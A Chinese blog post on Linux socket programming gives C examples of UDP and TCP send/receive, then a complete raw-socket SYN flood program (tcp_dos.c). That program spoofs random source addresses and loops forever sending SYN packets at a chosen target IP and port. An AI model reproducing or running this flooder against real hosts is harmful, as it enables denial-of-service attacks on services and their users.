socket接口

通过socket接口传输数据

例1: udp协议的socket传输数据

recv.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>
/*
 *receive data as "./recv port" 
 */

int    main(int argc, char *argv[])
{
    int sock_fd;
    struct sockaddr_in myaddr;
    struct sockaddr_in sendaddr;

    char buf[1024];
    int    recv_num;
    int    recvlen;
/*
    if(3 != argc)
    {
        printf("argc\n");
        exit(1);
    }
*/
    if(-1 == (sock_fd = socket(PF_INET, SOCK_DGRAM, 0)))
    {
        printf("socket\n");
        exit(2);
    }

    myaddr.sin_family = AF_INET;
    myaddr.sin_port = htons(atoi(argv[1]));
    myaddr.sin_addr.s_addr = htonl(INADDR_ANY);

    if(-1 == bind(sock_fd, (struct sockaddr *)&myaddr, sizeof(struct sockaddr_in)))
    {
        perror("bind");
        exit(1);
    }
    recvlen = sizeof(struct sockaddr_in);
    recv_num = recvfrom(sock_fd, (char *)buf, sizeof(buf), 0, 
                    (struct sockaddr *)&sendaddr, &recvlen);  

    printf("%s\n", buf);
/*
    to.sin_family = AF_INET;
    to.sin_port = htons(atoi(argv[2]));
    to.sin_addr.s_addr = inet_addr(argv[1]);
    
    int ret = sendto(sock_fd, buf, strlen(buf) + 1, 0,
                (struct sockaddr *)&to, sizeof(struct sockaddr_in));
    if(-1 == ret)
    {
        printf("sendto");
        exit(2);
    }
*/
    close(sock_fd);
}

send.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>
/*
 *send data as: "./send xx.xx.xx.xx port message"
 */

int    main(int argc, char *argv[])
{
    int sock_fd;
    struct sockaddr_in to;
    char buf[1024];
    char *bp = buf;

    if(4 != argc)
    {
        printf("argc\n");
        exit(1);
    }

    if(-1 == (sock_fd = socket(PF_INET, SOCK_DGRAM, 0)))
    {
        printf("socket\n");
        exit(2);
    }

    to.sin_family = AF_INET;
    to.sin_port = htons(atoi(argv[2]));
    to.sin_addr.s_addr = inet_addr(argv[1]);
    
    strcpy(buf, argv[3]);
    int ret = sendto(sock_fd, buf, strlen(argv[3]) + 1, 0,
                (struct sockaddr *)&to, sizeof(struct sockaddr_in));
    if(-1 == ret)
    {
        printf("sendto");
        exit(2);
    }

    close(sock_fd);
}

编译链接以上两段代码, 先执行"./recv 12345", 然后在另一个终端执行"./send 192.168.1.103 12345 abcdefghijklmn", 输出如下:

 

例2: tcp协议的socket数据传输

 server.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>

/*
 * run command as "./server port"
 */
int    main(int argc, char *argv[])
{
    int sock_fd;    //use to listen
    struct sockaddr_in myaddr;
    struct sockaddr_in sendaddr;

    char buf[1400];
    int    recv_num;
    int    recvlen;

    if(2 != argc)
    {
        printf("argc\n");
        exit(1);
    }

    if(-1 == (sock_fd = socket(PF_INET, SOCK_STREAM, 0)))
    {
        printf("socket\n");
        exit(2);
    }

    myaddr.sin_family = AF_INET;
    myaddr.sin_port = htons(atoi(argv[1]));
    myaddr.sin_addr.s_addr = htonl(INADDR_ANY);

    if(-1 == bind(sock_fd, (struct sockaddr *)&myaddr, sizeof(struct sockaddr_in)))
    {
        perror("bind");
        exit(1);
    }
    
    listen(sock_fd, 20);
    
    struct sockaddr_in client_addr;
    int    client_addr_len = sizeof(struct sockaddr);
    int client_com_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &client_addr_len);

    recvlen = recv(client_com_fd, buf, sizeof(buf), 0);  
    if(recvlen >= 0)
    {
        buf[recvlen] = 0;
    }
    else
    {
        printf("recv error\n");
    }
    printf("%s\n", buf);

    //close(sock_fd);
    close(client_com_fd);
}

client.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>
/*
 * send data as "./send ipaddr port message"
 */

int    main(int argc, char *argv[])
{
    int sock_fd;        
    //struct sockaddr_in client_addr;
    struct sockaddr_in server_addr;
    char buf[1024];
    int    len;

    if(4 != argc)
    {
        printf("argc\n");
        exit(1);
    }

    if(-1 == (sock_fd = socket(AF_INET, SOCK_STREAM, 0)))
    {
        printf("socket\n");
        exit(2);
    }

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(atoi(argv[2]));
    server_addr.sin_addr.s_addr = inet_addr(argv[1]);

    connect(sock_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
    
    strcpy(buf, argv[3]);
    len = strlen(argv[3]);
    send(sock_fd, buf, len, 0);  

    close(sock_fd);

}

编译链接以上两段代码, 先执行"./server 12345", 然后在另一个终端执行"./client 192.168.1.103 12345 helloWorld"输出如下:

 

例3: 原始socket发送tcp半连接.  很久以前弄到的一个自杀性网络攻击代码, 如下:

tcp_dos.c

/* dos.c - 一个dos( denial of service:拒绝服务)攻击程序 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

int sock_fd;

/* tcp 伪头部, 计算校验和时需要, 可以参考rfc 793 */
typedef struct psheader {  
    unsigned long saddr;    /* 源IP地址                */
    unsigned long daddr;    /* 目的IP地址                 */
    char mbz;        /* mbz = must be zero, 用于填充对齐 */
    char protocal;        /* 8位协议号                 */    
    unsigned short tcpl;    /* TCP包长度                */
} pheader;


/* 一个通用的计算校验和的函数 */

static unsigned short ip_sum ( u_short *addr, int len )
{
    register int nleft = len;
    register u_short * w = addr;
    register int sum = 0;

    u_short answer = 0;
    
    while ( nleft > 1 ) {
        sum += *w++;
        nleft -= 2;
    }

    if ( nleft == 1 ) {
        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;
    }

    /* sum = 高16位的值加上低16位 */
    sum = (sum >> 16) + (sum & 0xffff);   
    /* 加上近位              */
    sum += (sum >> 16);                    
    /* 取反,同时变成16位有效      */
    answer = ~sum;                  
    return (answer);
}

/* 重新计算ip和tcp头的校验和,并存入相应的协议字段 */
void re_cal_checksum( struct iphdr * ih, struct tcphdr * th )
{
    pheader ph;
    char buf[100];
    
    /* 伪头源ip地址   */
    ph.saddr = ih->saddr;
    /* 伪头目的ip地址 */
    ph.daddr = ih->daddr;
    ph.mbz = 0;
    /* 协议              */
    ph.protocal = IPPROTO_TCP;
    /* tcp包长度       */
    ph.tcpl = htons( sizeof( struct tcphdr ) );
    
    memcpy( buf, &ph, sizeof( pheader ) );
    memcpy( buf + sizeof(pheader), th, sizeof( struct tcphdr ) );
    memset( buf + sizeof(pheader) + sizeof(struct tcphdr), 0, 4 );
    th->check = ip_sum( (u_short*)buf, (sizeof(pheader)+sizeof(struct tcphdr)+1)&~1);
    
    memcpy(buf, ih, 4*ih->ihl);
    memcpy(buf+4*ih->ihl, th, sizeof(*th));
    memset(buf+4*ih->ihl+sizeof(*th), 0, 4);
    
    ih->check=ip_sum( (u_short*)buf, (4*ih->ihl + sizeof(*th) + 1) & ~1);
    memcpy(buf, ih, 4*ih->ihl);
}

void init_tcp_ip_head( struct iphdr * ih, struct tcphdr * th, unsigned long dest_ip, unsigned short dest_port)
{
    /* IP版本, 现在基本都用ipv4            */
    ih->version = 4;
    /* ip首部长度, 一般都为20个字节, 由于ihl是表示多少个4字节,因此要除以4,等于5 */
    ih->ihl = 5;
    /* 服务类型                   */
    ih->tos = 0;
    /* ip数据包的总长度                */
    ih->tot_len = sizeof( struct iphdr ) + sizeof( struct tcphdr );
    /* 16位标识                         */
    ih->id = ( unsigned int )random();
    /* 碎片偏移                       */
    ih->frag_off = 0;
    /* 8位生存时间                     */
    ih->ttl = ( unsigned int )random()%150 + 20;
    /* 指定传输层采用的协议,我们当然要采用TCP咯 */
    ih->protocol = IPPROTO_TCP;
    /* 校验和, 等下会重新计算, 先初始化为0 */
    ih->check = 0;    
    /* 源ip地址, 初始化的时候,   */
    ih->saddr = ( unsigned int )random();
    /* 你要攻击的目标IP地址            */
    ih->daddr = dest_ip;
    /* ok, ip 头初始化完毕 */
    
    /* tcp 源端口号, 随便给一个           */
    th->source = ( unsigned int )random() % 30000 + 4096;
    /* 目的端口号,你要攻击对方的端口       */
    th->dest = htons( dest_port );
    /* 32位序列号,随便给一个           */
    th->seq = ( unsigned int )random();
    /* 32位确认序列号,由于我们是攻击方,因此这个值可以随便给 */
    th->ack_seq = 0;
    /* tcp 首部长度,一般为20,同样需要除以4 */
    th->doff = sizeof( struct tcphdr ) / 4;
    /* 保留值, 随便给                   */
    th->res1 = 0;
    /* 发送端还没发送完成                  */
    th->fin = 0;
    /* 用来发起一个连接,此位一定要置1      */
    th->syn = 1;
    /* 重建连接,当然没必要,因此为0            */
    th->rst = 0;
    /* 接受方应尽快把这个报文交给应用层    */
    th->psh = 0;
    /* 确认序号,现在我们是发起连接,不是确认*/
    th->ack = 0;
    /* 紧急指针                   */
    th->urg = 0;
    /* 16窗口大小,接受端期望接受的字节数   */
    th->window = htons( 65535 );
    /* 现在只是初始,等下回校验           */
    th->check = 0;
    /* 16位紧急指针                   */
    th->urg_ptr = 0;
    /* OK, tcp 头初始化完毕    */
}

void send_connect( int sockfd, char * buf )
{
    struct iphdr * ih = ( struct iphdr * ) buf;
    struct tcphdr * th = ( struct tcphdr * )( buf + sizeof(struct iphdr) );

    /* 被攻击的机器的地址结构 */
    struct sockaddr_in target;
    target.sin_family = AF_INET;
    target.sin_port = th->dest;
    target.sin_addr.s_addr = ih->daddr;
    
    /* 发送连接数据      */
    int ret;
    ret = sendto( sockfd, buf, sizeof(struct iphdr)+sizeof(struct tcphdr), 0, 
            (struct sockaddr*)&target, sizeof(target) );
    if( ret == -1 ) {
        perror("send packet");
        exit(1);
    }
}

int main( int argc, char **argv )
{
    int i;
    unsigned short int dest_port;
    unsigned long int dest_ip;
   
    /* 处理用户的命令行输入, 如果用户不指定ip地址的话, 默认是攻击自己, 如果不指定端口号的话,默认就是22 */
    if( argc == 1 ){
        dest_ip = inet_addr( "127.0.0.1" );
        dest_port = htons( 22 );
    } else if( argc == 2 ) {
        dest_ip = inet_addr( argv[1] );
        dest_port = htons( 22 );
    } else if( argc == 3 ) {
        dest_ip = inet_addr( argv[1] );
        dest_port=ntohs(atoi( argv[2]) );
    } else {
        printf("Usage: %s [你要攻击的ip地址] [你要攻击的port number] \n", argv[0] );
        exit( 1 );
    }
    
    /* 创建一个原始的套接口, 自己封装ip头和tcp头 */
    sock_fd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );
    if( sock_fd == -1 ) {
        perror("socket");
        exit(1);
    }

    /* buf - 用于存储ip 和 tcp头 */
    char * buf = malloc( sizeof(struct iphdr) + sizeof(struct tcphdr) );
    /* ip 头结构  */
    struct iphdr * ih = ( struct iphdr * ) buf;
    /* tcp 头结构 */
    struct tcphdr * th = ( struct tcphdr * )( buf + sizeof(struct iphdr) );
    
    /* 初始化tcp和ip头结构 */
    init_tcp_ip_head( ih, th, dest_ip, dest_port );
    
    while ( 1 ) {
        /* 伪装源ip地址 */
        ih->saddr = ( unsigned int )random();
        /* 伪装源端口号 */
        th->source = ( unsigned int )random() % 30000 + 4096;
        
        /* 重新计算 ip头和tcp头的校验和 */
        re_cal_checksum( ih, th );
        
        /* 发送连接请求, 开始攻击 */    
        send_connect( sock_fd, buf );
    }    
}

编译链接执行,  输出如下: 

 

posted @ 2016-01-23 19:35  zhanglong71  阅读(403)  评论(0编辑  收藏  举报